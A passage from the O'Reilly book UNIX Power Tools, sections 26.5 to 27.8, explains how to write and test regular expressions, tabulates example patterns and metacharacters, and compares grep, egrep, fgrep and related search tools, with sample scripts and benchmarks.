The same thing that makes writing regular expressions difficult is what makes writing them interesting: the variety of occurrences or contexts in which a pattern appears. This complexity is inherent in language itself, just as you can't always understand an expression (26.1) by looking up each word in the dictionary.

The process of writing a regular expression involves three steps:

  1. Knowing what it is you want to match and how it might appear in the text.

  2. Writing a pattern to describe what you want to match.

  3. Testing the pattern to see what it matches.

This process is virtually the same kind of process that a programmer follows to develop a program. Step 1 might be considered the specification, which should reflect an understanding of the problem to be solved as well as how to solve it. Step 2 is analogous to the actual coding of the program, and step 3 involves running the program and testing it against the specification. Steps 2 and 3 form a loop that is repeated until the program works satisfactorily.

Testing your description of what you want to match ensures that the description works as expected. It usually uncovers a few surprises. Carefully examining the results of a test, comparing the output against the input, will greatly improve your understanding of regular expressions. You might consider evaluating the results of a pattern-matching operation as follows:

Hits

The lines that I wanted to match.

Misses

The lines that I didn't want to match.

Misses that should be hits

The lines that I didn't match but wanted to match.

Hits that should be misses

The lines that I matched but didn't want to match.

Trying to perfect your description of a pattern is something that you work at from opposite ends: you try to eliminate the "hits that should be misses" by limiting the possible matches and you try to capture the "misses that should be hits" by expanding the possible matches.

The difficulty is especially apparent when you must describe patterns using fixed strings. Each character you remove from the fixed-string pattern increases the number of possible matches. For instance, while searching for the string what, you determine that you'd like to match What as well. The only fixed-string pattern that will match What and what is hat, the longest string common to both. It is obvious, though, that searching for hat will produce unwanted matches. Each character you add to a fixed-string pattern decreases the number of possible matches. The string them is going to produce fewer matches than the string the.

Using metacharacters in patterns provides greater flexibility in extending or narrowing the range of matches. Metacharacters, used in combination with literals or other metacharacters, can be used to expand the range of matches while still eliminating the matches that you do not want.

- DD from O'Reilly & Associates' sed & awk

Previous: 26.4 Using Metacharacters in Regular Expressions | UNIX Power Tools | Next: 26.6 Just What Does a Regular Expression Match?
26.4 Using Metacharacters in Regular Expressions | Book Index | 26.6 Just What Does a Regular Expression Match?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 26] 26.6 Just What Does a Regular Expression Match?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 26.5 Getting Regular Expressions Right Chapter 26
Regular Expressions (Pattern Matching) 		Next: 26.7 Limiting the Extent of a Match

26.6 Just What Does a Regular Expression Match?

One of the toughest things to learn about regular expressions is just what they do match. The problem is that a regular expression tends to find the longest possible match - which can be more than you want.

showmatch
Here's a simple script called showmatch that is useful for testing regular expressions, when writing sed scripts, etc. Given a regular expression and a filename, it finds lines in the file matching that expression, just like grep, but it uses a row of carets (^^^^) to highlight the portion of the line that was actually matched.

#! /bin/sh
# showmatch - mark string that matches pattern
pattern=$1; shift
nawk 'match($0,pattern) > 0 {
    s = substr($0,1,RSTART-1)
    m = substr($0,1,RLENGTH)
    gsub (/[^\b- ]/, " ", s)
    gsub (/./,       "^", m)
    printf "%s\n%s%s\n", $0, s, m
}' pattern="$pattern" $*

For example:

% showmatch 'CD-...' mbox
and CD-ROM publishing. We have recognized
    ^^^^^^
that documentation will be shipped on CD-ROM; however,
                                      ^^^^^^

xgrep
xgrep is a related script that simply retrieves only the matched text. This allows you to extract patterned data from a file. For example, you could extract only the numbers from a table containing both text and numbers. It's also great for counting the number of occurrences of some pattern in your file, as shown below. Just be sure that your expression only matches what you want. If you aren't sure, leave off the wc command and glance at the output. For example, the regular expression [0-9]* will match numbers like 3.2 twice: once for the 3 and again for the 2! You want to include a dot (.) and/or comma (,), depending on how your numbers are written. For example: [0-9][.0-9]* matches a leading digit, possibly followed by more dots and digits.

NOTE: Remember that an expression like [0-9]* will match zero numbers (because * means "zero or more of the preceding character"). That expression can make xgrep run for a very long time! The following expression, which matches one or more digits, is probably what you want instead:

xgrep "[0-9][0-9]*" files | wc -l

The xgrep shell script runs the sed commands below, replacing $re with the regular expression from the command line and $x with a CTRL-b character (which is used as a delimiter). We've shown the sed commands numbered, like 5>; these are only for reference and aren't part of the script:

1> \$x$re$x!d
2> s//$x&$x/g
3> s/[^$x]*$x//
4> s/$x[^$x]*$x/\
   /g
5> s/$x.*//

Command 1 deletes all input lines that don't contain a match. On the remaining lines (which do match), command 2 surrounds the matching text with CTRL-b delimiter characters. Command 3 removes all characters (including the first delimiter) before the first match on a line. When there's more than one match on a line, command 4 breaks the multiple matches onto separate lines. Command 5 removes the last delimiter, and any text after it, from every output line.

Greg Ubben revised showmatch and wrote xgrep.

- JP, DD, TOR

Previous: 26.5 Getting Regular Expressions Right | UNIX Power Tools | Next: 26.7 Limiting the Extent of a Match
26.5 Getting Regular Expressions Right | Book Index | 26.7 Limiting the Extent of a Match
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 26] 26.7 Limiting the Extent of a Match

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 26.6 Just What Does a Regular Expression Match? Chapter 26
Regular Expressions (Pattern Matching) 		Next: 26.8 I Never Meta Character I Didn't Like

26.7 Limiting the Extent of a Match

A regular expression tries to match the longest string possible; that can cause unexpected problems. For instance, look at the following regular expression, which matches any number of characters inside of quotation marks:

".*"

Let's look at a troff macro that has two quoted arguments, as shown below:

.Se "Appendix" "Full Program Listings"

To match the first argument, a novice might describe the pattern with the following regular expression:

\.Se ".*"

However, the pattern ends up matching the whole line because the second quotation mark in the pattern matches the last quotation mark on the line. If you know how many arguments there are, you can specify each of them:

\.Se ".*" ".*"

Although this works as you'd expect, each line might not have the same number of arguments, causing misses that should be hits - you simply want the first argument. Here's a different regular expression that matches the shortest possible extent between two quotation marks:

"[^"]*"

It matches "a quote, followed by any number of characters that do not match a quote, followed by a quote." The use of what we might call "negated character classes" like this is one of the things that distinguishes the journeyman regular expression user from the novice. [ Perl 5 (37.5) has added a new "non-greedy" regular expression operator that matches the shortest string possible. -JP ]

- DD from O'Reilly & Associates' sed & awk

Previous: 26.6 Just What Does a Regular Expression Match? | UNIX Power Tools | Next: 26.8 I Never Meta Character I Didn't Like
26.6 Just What Does a Regular Expression Match? | Book Index | 26.8 I Never Meta Character I Didn't Like
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 26] 26.8 I Never Meta Character I Didn't Like

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 26.7 Limiting the Extent of a Match Chapter 26
Regular Expressions (Pattern Matching) 		Next: 26.9 Valid Metacharacters for Different UNIX Programs

26.8 I Never Meta Character I Didn't Like

Once you know regular expression syntax, you can match almost anything. But sometimes, it's a pain to think through how to get what you want. Here are some useful regular expressions that match various kinds of data you might have to deal with in the UNIX environment. Some of these examples work in any program that uses regular expressions; others only work with a specific program such as egrep. (Article 26.9 lists the metacharacters that each program accepts.) The [image] means to use a space as part of the regular expression.

Note that these regular expressions are only examples. They aren't meant to match (for instance) every occurrence of a city and state in any arbitrary text. But if you can picture what the expression does and why, that should help you write an expression that fits your text.

US State Abbreviation | [A-Z][A-Z]
(NM) |
US City, State | ^.*, [image] [A-Z][A-Z]
(Portland, OR) |
Month Day, Year | [A-Z][A-Za-z]\{2,8\} [image] [0-9]\{1,2\}, [image] [0-9]\{4\}
(JAN 05, 1993) |
(January 5, 1993) |
US Social Security Number | [0-9]\{3\}-[0-9]\{2\}-[0-9]\{4\}
(123-45-6789) |
US Telephone Number | [0-9]\{3\}-[0-9]\{4\}
(547-5800) |
UFormatted Dollar Amounts | \$ [image] *[0-9]+(\.[0-9][0-9])?
($1) |
($ 1000000.00) |
troff In-line Font Requests | \\f[(BIRP]C*[BW]*
(\fR) |
(\f(CB) |
troff Requests | ^\.[a-z][a-z]
(.bp) |
HTML tags | <[^>]*>
(<h2>) |
(<UL COMPACT>) |
troff Macro with Arguments | ^\.[A-Z12]. ".*"
(.Ah "Tips for" "ex & vi") |
Blank Lines | ^$
Entire Line | ^.*$
One or More Spaces | *

- DD, JP

Previous: 26.7 Limiting the Extent of a Match | UNIX Power Tools | Next: 26.9 Valid Metacharacters for Different UNIX Programs
26.7 Limiting the Extent of a Match | Book Index | 26.9 Valid Metacharacters for Different UNIX Programs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 26] 26.9 Valid Metacharacters for Different UNIX Programs

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 26.8 I Never Meta Character I Didn't Like Chapter 26
Regular Expressions (Pattern Matching) 		Next: 26.10 Pattern Matching Quick Reference with Examples

26.9 Valid Metacharacters for Different UNIX Programs

Some regular expression metacharacters are valid for one program but not for another. Those that are available to a particular UNIX program are marked by a bullet ( ·) in Table 26.4. Quick reference descriptions of each of the characters can be found in article 26.10.

[Unfortunately, even this table doesn't give the whole story. For example, Sun has taken some of the extensions originally developed for ed, ex, and vi (such as the \< \> and \{min, max\} modifiers) and added them to other programs that use regular expressions. So don't be bashful - try things out, but just don't be surprised if every possible regular expression feature isn't supported by every program. In addition, there are many programs that recognize regular expressions, such as perl, emacs, more, dbx, expr, lex, pg, and less, that aren't covered in Daniel's table. -TOR ]

Table 26.4: Valid Metacharacters for Different Programs
Symbol | ed | ex | vi | sed | awk | grep | egrep | Action
. | · | · | · | · | · | · | · | Match any character.
* | · | · | · | · | · | · | · | Match zero or more preceding.
^ | · | · | · | · | · | · | · | Match beginning of line.
$ | · | · | · | · | · | · | · | Match end of line.
\ | · | · | · | · | · | · | · | Escape character following.
[ ] | · | · | · | · | · | · | · | Match one from a set.
\(\) | · | · |  | · |  |  |  | Store pattern for later replay.
\{\} | · |  |  | · |  | · |  | Match a range of instances.
\<\> | · | · | · |  |  |  |  | Match word's beginning or end.
+ |  |  |  |  | · |  | · | Match one or more preceding.
? |  |  |  |  | · |  | · | Match zero or one preceding.
| |  |  |  |  | · |  | · | Separate choices to match.
() |  |  |  |  | · |  | · | Group expressions to match.

In ed, ex, and sed, note that you specify both a search pattern (on the left) and a replacement pattern (on the right). The metacharacters in Table 26.4 are meaningful only in a search pattern. ed, ex, and sed support the additional metacharacters in Table 26.5 that are valid only in a replacement pattern.

Table 26.5: Valid Metacharacters for Replacement Patterns
Symbol | ex | sed | ed | Action
\ | · | · | · | Escape character following.
\n | · | · | · | Reuse pattern stored in \( \).
& | · | · |  | Reuse previous search pattern.
~ | · |  |  | Reuse previous replacement pattern.
\u \U | · |  |  | Change character(s) to uppercase.
\l \L | · |  |  | Change character(s) to lowercase.
\E | · |  |  | Turn off previous \U or \L.
\e | · |  |  | Turn off previous \u or \l.

- DG

Previous: 26.8 I Never Meta Character I Didn't Like | UNIX Power Tools | Next: 26.10 Pattern Matching Quick Reference with Examples
26.8 I Never Meta Character I Didn't Like | Book Index | 26.10 Pattern Matching Quick Reference with Examples
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 26] 26.10 Pattern Matching Quick Reference with Examples

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 26.9 Valid Metacharacters for Different UNIX Programs Chapter 26
Regular Expressions (Pattern Matching) 		Next: 27. Searching Through Files

26.10 Pattern Matching Quick Reference with Examples

Article 26.4 gives a tutorial introduction to regular expressions. This article is intended for those of you who just need a quick listing of regular expression syntax as a refresher from time to time. It also includes some simple examples. The characters in Table 26.6 have special meaning only in search patterns.

Table 26.6: Special Characters in Search Patterns
Pattern | What Does it Match?
. | Match any single character except newline.
* | Match any number (or none) of the single characters that immediately precede it. The preceding character can also be a regular expression. For example, since . (dot) means any character,.* means "match any number of any character."
^ | Match the following regular expression at the beginning of the line.
$ | Match the preceding regular expression at the end of the line.
[ ] | Match any one of the enclosed characters.
 | A hyphen (-) indicates a range of consecutive characters. A caret (^) as the first character in the brackets reverses the sense: it matches any one character not in the list. A hyphen or a right square bracket (]) as the first character is treated as a member of the list. All other metacharacters are treated as members of the list.
\{n,m\} | Match a range of occurrences of the single character that immediately precedes it. The preceding character can also be a regular expression. \{n\} will match exactly n occurrences; \{n,\} will match at least n occurrences; and \{n,m\} will match any number of occurrences between n and m.
\ | Turn off the special meaning of the character that follows.
\( \) | Save the pattern enclosed between \( and \) into a special holding space. Up to nine patterns can be saved on a single line. They can be "replayed" in substitutions by the escape sequences \1 to \9.
\< \> | Match characters at beginning (\<) or end (\>) of a word.
+ | Match one or more instances of preceding regular expression.
? | Match zero or one instances of preceding regular expression.
| | Match the regular expression specified before or after.
( ) | Apply a match to the enclosed group of regular expressions.

The characters in Table 26.7 have special meaning only in replacement patterns.

Table 26.7: Special Characters in Replacement Patterns
Pattern | What Does it Match?
\ | Turn off the special meaning of the character that follows.
\n | Restore the nth pattern previously saved by \( and \).n is a number from 1 to 9, with 1 starting on the left.
& | Re-use the search pattern as part of the replacement pattern.
~ | Re-use the previous replacement pattern in the current replacement pattern.
\u | Convert first character of replacement pattern to uppercase.
\U | Convert replacement pattern to uppercase.
\l | Convert first character of replacement pattern to lowercase.
\L | Convert replacement pattern to lowercase.

26.10.1 Examples of Searching

When used with grep or egrep, regular expressions are surrounded by quotes. (If the pattern contains a $, you must use single quotes; e.g., 'pattern'.) When used with ed, ex, sed, and awk, regular expressions are usually surrounded by / (although any delimiter works). Table 26.8 has some example patterns.

Table 26.8: Search Pattern Examples
Pattern | What Does it Match?
bag | The string bag.
^bag | bag at beginning of line.
bag$ | bag at end of line.
^bag$ | bag as the only word on line.
[Bb]ag | Bag or bag.
b[aeiou]g | Second letter is a vowel.
b[^aeiou]g | Second letter is a consonant (or uppercase or symbol).
b.g | Second letter is any character.
^...$ | Any line containing exactly three characters.
^\. | Any line that begins with a . (dot).
^\.[a-z][a-z] | Same, followed by two lowercase letters (e.g., troff requests).
^\.[a-z]\{2\} | Same as previous, grep or sed only.
^[^.] | Any line that doesn't begin with a . (dot).
bugs* | bug, bugs, bugss, etc.
"word" | A word in quotes.
"*word"* | A word, with or without quotes.
[A-Z][A-Z]* | One or more uppercase letters.
[A-Z]+ | Same, egrep or awk only.
[A-Z].* | An uppercase letter, followed by zero or more characters.
[A-Z]* | Zero or more uppercase letters.
[a-zA-Z] | Any letter.
[^0-9A-Za-z] | Any symbol (not a letter or a number).
[567] | One of the numbers 5, 6, or 7.
egrep or awk pattern: |
five|six|seven | One of the words five, six, or seven.
80[23]?86 | One of the numbers 8086, 80286, or 80386.
compan(y|ies) | One of the words company or companies.
ex or vi pattern: |
\<the | Words like theater or the.
the\> | Words like breathe or the.
\<the\> | The word the.
sed or grep pattern: |
0\{5,\} | Five or more zeros in a row.
[0-9]\{3\}-[0-9]\{2\}-[0-9]\{4\} | US social security number (nnn-nn-nnnn).

26.10.2 Examples of Searching and Replacing

The following examples show the metacharacters available to sed or ex. (ex commands begin with a colon.) A space is marked by [image]; a TAB is marked by tab.

Table 26.9: Search and Replace Commands
Command | Result
s/.*/( & )/ | Redo the entire line, but add parentheses.
s/.*/mv & &.old/ | Change a wordlist into mv commands.
/^$/d | Delete blank lines.
:g/^$/d | ex version of previous.
/^[ [image] tab]*$/d | Delete blank lines, plus lines containing only spaces or TABs.
:g/^[ [image] tab]*$/d | ex version of previous.
s/ [image] [image] */ [image] /g | Turn one or more spaces into one space.
:%s/ [image] [image] */ [image] /g | ex version of previous.
:s/[0-9]/Item &:/ | Turn a number into an item label (on the current line).
:s | Repeat the substitution on the first occurrence.
:& | Same.
:sg | Same, but for all occurrences on the line.
:&g | Same.
:%&g | Repeat the substitution globally.
:.,$s/Fortran/\U&/g | Change word to uppercase, on current line to last line.
:%s/.*/\L&/ | Lowercase entire file.
:s/\<./\u&/g | Uppercase first letter of each word on current line (useful for titles).
:%s/yes/No/g | Globally change a word to No.
:%s/Yes/~/g | Globally change a different word to No (previous replacement).
s/die or do/do or die/ | Transpose words.
s/\([Dd]ie\) or \([Dd]o\)/\2 or \1/ | Transpose, using hold buffers to preserve case.

- DG from O'Reilly & Associates' UNIX in a Nutshell (SVR4/Solaris)

Previous: 26.9 Valid Metacharacters for Different UNIX Programs | UNIX Power Tools | Next: 27. Searching Through Files
26.9 Valid Metacharacters for Different UNIX Programs | Book Index | 27. Searching Through Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 27] Searching Through Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 26.10 Pattern Matching Quick Reference with Examples Chapter 27 Next: 27.2 Searching for Text with grep

27. Searching Through Files

Contents:
Different Versions of grep
Searching for Text with grep
Finding Text That Doesn't Match
Finding a Pattern Only When It's a Word
Extended Searching for Text with egrep
Fast grep Isn't
grepping for a List of Patterns
glimpse and agrep
New greps Are Much Faster
Search RCS Files with rcsgrep
A Multiline Context grep Using sed
Make Custom grep Commands (etc.) with perl
More grep-like Programs Written in Perl
Compound Searches
Narrowing a Search Quickly
Faking Case-Insensitive Searches
Finding a Character in a Column
Fast Searches and Spelling Checks with "look"
Finding Words Inside Binary Files
A Highlighting grep

27.1 Different Versions of grep

grep is one of UNIX's most useful tools. As a result, everyone seems to want their own, slightly different version that solves a different piece of the problem. (Maybe this is a problem in itself; there really should be only one grep, as the manual page says.) Three versions of grep come with every UNIX system; in addition, there are six or seven freely available versions that we'll mention here, and probably dozens of others that you can find kicking around the Net.

Here are the different versions of grep and what they offer. We'll start with the standard versions:

  • Plain old grep: great for searching with regular expressions (article 27.2).

  • Extended grep (or egrep): handles extended regular expressions. It is also, arguably, the fastest of the standard greps (article 27.5).

  • So-called "fast grep," or fgrep. Actually, this is the slowest of them all. Useful to search for patterns with literal backslashes, asterisks, and so on that you'd otherwise have to escape somehow. Has the interesting ability to search for multiple strings (articles 27.6, 27.7).

Now for the public domain versions:

  • agrep, or "approximate grep"; a tool that finds lines that "more or less" match your search string. A very interesting and useful tool, it's part of the glimpse package. Glimpse is an indexing and query system for fast searching of huge amounts of text. Both are introduced in article 27.8.

  • Very fast versions of grep, such as the Free Software Foundation's egrep (article 27.9).

  • rcsgrep, which searches through RCS files (20.14) (article 27.10).

In addition, you can simulate the action of grep with sed, awk, and perl. These utilities allow you to write such variations as a grep that searches for a pattern that can be split across several lines (27.11) and other context grep programs (27.12, 27.13), which show you a few lines before and after the text you find. (Normal greps just show the lines that match.)

- ML

Previous: 26.10 Pattern Matching Quick Reference with Examples | UNIX Power Tools | Next: 27.2 Searching for Text with grep
26.10 Pattern Matching Quick Reference with Examples | Book Index | 27.2 Searching for Text with grep
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 27] 27.2 Searching for Text with grep

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 27.1 Different Versions of grep Chapter 27
Searching Through Files 		Next: 27.3 Finding Text That Doesn't Match

27.2 Searching for Text with grep

There are many well-known benefits provided by grep to the user who doesn't remember what his or her files contain. Even users of non-UNIX systems who make fun of its obscure name wish they had a utility with its power to search through a set of files for an arbitrary text pattern, known as a regular expression (26.4).

The main function of grep is to look for strings matching a regular expression and print only the lines found. Use grep when you want to look at how a particular word is used in one or more files. For example, here's how to list the lines in the file ch04 that contain either run-time or run time:

".."

$ grep "run[- ]time" ch04
This procedure avoids run-time errors for not-assigned
and a run-time error message is produced.
run-time error message is produced.
program aborts and a run-time error message is produced.
DIMENSION statement in BASIC is executable at run time.
This means that arrays can be redimensioned at run time.
accessible or not open, the program aborts and a run-time

Another use might be to look for a specific nroff/troff macro (43.14) in a file. In a file coded with mm macros, the following command will list top-level (.H1) and second-level (.H2) headings:

[..]

$ grep "^\.H[12]" ch0[12]
ch01:.H1 "Introduction"
ch01:.H1 "Windows, Screens, and Images"
ch01:.H2 "The Standard Screen-stdscr"
ch01:.H2 "Adding Characters"
ch02:.H1 "Introduction"
ch02:.H1 "What Is Terminal Independence?"
ch02:.H2 "Termcap"
ch02:.H2 "Terminfo"

In effect, it produces a quick outline of the contents of these files.

grep is also often used as a filter (1.3), to select from the output of some other program. For example, not all versions of ps (38.5) allow you to print out the processes belonging to another user, but it's easy to simulate this behavior by listing all processes and piping the output to grep:

% ps -aux | grep jerry

There are several options commonly used with grep. The -i option specifies that the search ignore the distinction between uppercase and lowercase. The -c option (15.8) tells grep to return only a count of the number of lines matched. The -w option searches for the pattern "as a word." For example, grep if would match words like cliff or knife, but grep -w if wouldn't. The -l option (15.7) returns only the name of the file when grep finds a match. This can be used to prepare a list of files for another command. The -v option (27.3) reverses the normal action, and only prints out lines that don't match the search pattern.

- DD from UNIX Text Processing, Hayden Books, 1987, Chapter 11

Previous: 27.1 Different Versions of grep | UNIX Power Tools | Next: 27.3 Finding Text That Doesn't Match
27.1 Different Versions of grep | Book Index | 27.3 Finding Text That Doesn't Match
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 27] 27.3 Finding Text That Doesn't Match

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 27.2 Searching for Text with grep Chapter 27
Searching Through Files 		Next: 27.4 Finding a Pattern Only When It's a Word

27.3 Finding Text That Doesn't Match

The grep programs have one very handy feature: they can select lines that don't match a pattern just as they can select the lines that do. Simply use the -v option.

I used this most recently when working on this book. We have thousands of separate files under RCS (20.14) and I sometimes forget which ones I've got checked out. Since there's a lot of clutter in the directory, and several people working there, a simple ls won't do. So I use a find alias to list only the files belonging to me. (It's a version of the find alias described in article 17.23, with -user tim added to select only my own files.)

Believe it or not, even that isn't specific enough. There are a variety of temporary files created by some of our printing scripts that I don't want to see. All of these files have names beginning with a comma (,), so when I want to see which files I might have forgotten to check back in to RCS, I type:

% find. | grep -v ,

Obviously, that's about as specific, non-reproducible an example as you're likely to find anywhere! But it's precisely these kinds of special cases that call for a rich vocabulary of tips and tricks. You'll never have to use grep -v for this particular purpose, but you'll find a use for it someday.

- TOR

Previous: 27.2 Searching for Text with grep | UNIX Power Tools | Next: 27.4 Finding a Pattern Only When It's a Word
27.2 Searching for Text with grep | Book Index | 27.4 Finding a Pattern Only When It's a Word
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 27] 27.4 Finding a Pattern Only When It's a Word

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 27.3 Finding Text That Doesn't Match Chapter 27
Searching Through Files 		Next: 27.5 Extended Searching for Text with egrep

27.4 Finding a Pattern Only When It's a Word

One very useful grep option is -w, which tells it to report a line containing the pattern only when the pattern appears as a separate word. This is just like the \< and \> (26.4) pattern-matching characters, but a lot easier to type. (Unfortunately, not all versions of grep have -w.)

- TOR

Previous: 27.3 Finding Text That Doesn't Match | UNIX Power Tools | Next: 27.5 Extended Searching for Text with egrep
27.3 Finding Text That Doesn't Match | Book Index | 27.5 Extended Searching for Text with egrep
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 27] 27.5 Extended Searching for Text with egrep

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 27.4 Finding a Pattern Only When It's a Word Chapter 27
Searching Through Files 		Next: 27.6 Fast grep Isn't

27.5 Extended Searching for Text with egrep

The egrep command is yet another version of grep (27.2), one that extends the syntax of regular expressions (26.4). A plus sign (+) following a regular expression matches one or more occurrences of the regular expression; a question mark (?) matches zero or one occurrences. In addition, regular expressions can be nested within parentheses:

% egrep "Lab(oratorie)?s" name.list
AT&T Bell Laboratories
AT&T Bell Labs
Symtel Labs of Chicago

Parentheses surround a second regular expression and ? modifies this expression. The nesting helps to eliminate unwanted matches; for instance, the word Labors or oratories would not be matched.

Another special feature of egrep is the vertical bar (|), which serves as an or operator between two expressions. Lines matching either expression are printed, as in the next example:

% egrep "stdscr|curscr" ch03
into the stdscr, a character array.
When stdscr is refreshed, the
stdscr is refreshed.
curscr.
initscr() creates two windows: stdscr
and curscr.

Remember to put the expression inside quotation marks to protect the vertical bar from being interpreted by the shell as a pipe symbol. Look at the next example:

% egrep "Alcuin (User|Programmer)('s)? Guide" docguide
Alcuin Progammer's Guide is a thorough
refer to the Alcuin User Guide
Alcuin User's Guide introduces new users to

You can see the flexibility that egrep's syntax can give you, matching either User or Programmer and matching them whether or not they had an 's. Article 20.8 has another example and explanation of egrep.

Both egrep and fgrep (27.6) can read search patterns from a file using the -f option (27.7). The calendar (48.4) utility makes a file full of complicated expressions for matching dates.

- DD from UNIX Text Processing, Hayden Books, 1987, Chapter 11

Previous: 27.4 Finding a Pattern Only When It's a Word | UNIX Power Tools | Next: 27.6 Fast grep Isn't
27.4 Finding a Pattern Only When It's a Word | Book Index | 27.6 Fast grep Isn't
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 27] 27.6 Fast grep Isn't

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 27.5 Extended Searching for Text with egrep Chapter 27
Searching Through Files 		Next: 27.7 grepping for a List of Patterns

27.6 Fast grep Isn't

Have you heard this old saw:

UNIX beginners use grep because it's all they know about.

Intermediate users use fgrep because the manual says it's faster.

Advanced users use egrep because they've tried it.

Yes, despite what the manual page says (or rather, used to say, because nowadays, many grep manual pages have been rewritten to acknowledge the fact), fgrep is usually the slowest of the three standard greps. [I believe that fgrep stands for "fixed grep" because it doesn't accept metacharacters. -JP]

If you want to prove this to yourself, try using the runtime program (shown in article 39.4) to give you the average execution time of a search. Here's the result of my search for the string Waldo in a large directory crowded with saved mail files.

% runtime -10 grep Waldo  *
   ...
AVERAGES:
 4.13u  0.83s 0:04 0+203k 21+0io 19pf+0w
% runtime -10 fgrep Waldo *
   ...
AVERAGES:
 5.19u  0.80s 0:05 0+195k 4+0io 2pf+0w
% runtime -10 egrep Waldo *
   ...
AVERAGES:
 2.61u  0.76s 0:02 0+244k 0+0io 0pf+0w

On my SPARCstation IPC, grep managed the search in four seconds, fgrep in five, and egrep in only two. egrep also used the least CPU time.

Just for the heck of it, let's see how some other search programs stack up. sed, awk, and perl can also emulate the action of grep:

% runtime -10 sed -n '/Waldo/p' *
   ...
AVERAGES:
 3.64u  1.20s 0:04 0+227k 2+0io 1pf+0w
% runtime -10 awk '/Waldo/' *
   ...
AVERAGES:
 4.86u  0.76s 0:05 0+279k 1+0io 0pf+0w
% runtime -10 perl -ne \'print if \(/Waldo/\) \; \' *
   ...
AVERAGES:
 2.94u  0.69s 0:03 0+498k 28+4io 27pf+0w

(Note that we have to escape any characters that the shell might interpret in the perl command line.)

perl is faster than all but egrep, but even sed edges your basic grep by a hair. And fgrep is by far the slowest - it even lost to awk!

fgrep
 This doesn't mean that fgrep is useless, though. It has a couple of handy options: -x requires a line to be exactly the same as the search pattern; -f (27.7) takes one or many search patterns from a file. You can sometimes exploit the fact that fgrep doesn't understand regular expressions, and so using it to search for literal asterisks or other regular expression metacharacters can save you a bit of quoting. The time saved on the command line can be worth the slower execution speed.

- TOR

Previous: 27.5 Extended Searching for Text with egrep | UNIX Power Tools | Next: 27.7 grepping for a List of Patterns
27.5 Extended Searching for Text with egrep | Book Index | 27.7 grepping for a List of Patterns
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 27] 27.7 grepping for a List of Patterns

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 27.6 Fast grep Isn't Chapter 27
Searching Through Files 		Next: 27.8 glimpse and agrep

27.7 grepping for a List of Patterns

egrep (27.5) lets you look for multiple patterns using its grouping and alternation operators (big words for parentheses and a vertical bar). But sometimes, even that isn't enough.

Both egrep and fgrep (27.6) support a -f option, which allows you to save a list of patterns (fixed strings in the case of fgrep) in a file, one pattern per line, and search for all the items in the list with a single invocation of the program. For example, in writing this book, we've used this feature to check for consistent usage for a list of terms across all articles:

% egrep -f terms *

(To be more accurate, we used rcsegrep (27.10), since the articles are all kept under RCS (20.14), but you get the idea.)

- TOR

Previous: 27.6 Fast grep Isn't | UNIX Power Tools | Next: 27.8 glimpse and agrep
27.6 Fast grep Isn't | Book Index | 27.8 glimpse and agrep
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 27] 27.8 glimpse and agrep

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 27.7 grepping for a List of Patterns Chapter 27
Searching Through Files 		Next: 27.9 New greps Are Much Faster

27.8 glimpse and agrep

glimpse
 Glimpse is an indexing and query system that lets you search huge amounts of text (for example, all of your files) very quickly. For example, if you're looking for the word something, just type glimpse something; all matching lines will appear with the filename at the start.

Before you use glimpse, you need to index your files by running glimpseindex. You'll probably want to run it every night from cron (40.12). So, your searches will miss files that have been added since the last glimpseindex run. But, other than that problem (which can't be avoided in an indexed system like this), glimpse is fantastic - especially because it's (usually) so fast.

